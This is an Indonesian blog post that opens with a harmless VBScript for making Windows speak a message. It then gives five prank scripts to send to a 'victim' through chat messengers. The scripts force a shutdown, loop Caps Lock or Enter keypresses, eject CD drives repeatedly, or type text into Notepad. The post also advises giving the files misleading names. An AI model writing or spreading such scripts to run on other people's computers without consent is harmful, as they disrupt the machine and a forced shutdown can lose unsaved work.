Sabtu, 17 September 2011

cara agar komputer anda berbicara


, kali ini gue mau membahas bagaimana membuat komputer kita berbicara.

Buka Notepad, dan copy script dibawah ini :

Dim msg, sapi
msg ="
You have one massage, please click my heart to read it"
Set sapi = CreateObject ("sapi.spvoice") 

sapi.Speak msg 

Save dengan nama massage.vbs atau dengan nama lain, tetapi berakhiran .vbs

Jika sudah selesai, klik file tersebut dan dengarkan pesannya.


NB:
1. Aktifkan speaker / Headset anda
2. Kalimat yang berwarna merah bisa diganti sesuai keinginan kalian. Jika ingin diganti, usahakan menggunakan bahasa inggris, soalnya kalo pake bahasa Indonesia keliatan hancurnya. :p
3. Bisa dipakai untuk menembak seseorang/ merayu dengan mengirimkan file ini menggunakan chat.



File ini bisa kalian kirimkan ke teman dengan menggunakan Yahoo Massanger,MSN, GoogleTalk, Skype dan semua fasilitas chat messenger yang mendukung send file

INGAT, Semua File di-paste ke notepad dengan nama file yang berakhiran .exe. Misalnya NomorHape.exe BUKAN .txt

Cara 1 :

@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s

Simpan dengan nama file : terserah_agan.BAT ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan,
maka komputernya otomatis FORCED SHUTDOWN


Cara 2 :

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop


Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol CAPSLOCK kibornya akan terus menyala
(jika dimatikan maka tombolnya otomatis nyala lagi)
 


Cara 3 :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka CD Drive korban akan pop out terus menerus ,,,
(jka dimatikan maka tombolnya otomatis nyala lagi)


Cara 4 :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop


Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol ENTER korban akan nyala terus menerus
 


Cara 5 :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "


Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah otomatis membuka notepad korban dan akan muncul tulisan "Hello, how are you? I am good thanks" secara SLOW MOTION


kalimat "Hello, how are you? I am good thanks" ,, bisa agan ubah sesuai selera, tinggal ubah saja frase kata dalam tanda kutip di syntax diatas 


Sumber : Disini


Cara Stop Script-nya : Start Menu - Run - Task Manager

Setelah masuk menu Task Manager, klik Tab Processes, cari file yg di list aktif bernama wscript.exe, sorot file tsb dan klik Tombol End

Tidak ada komentar:

Posting Komentar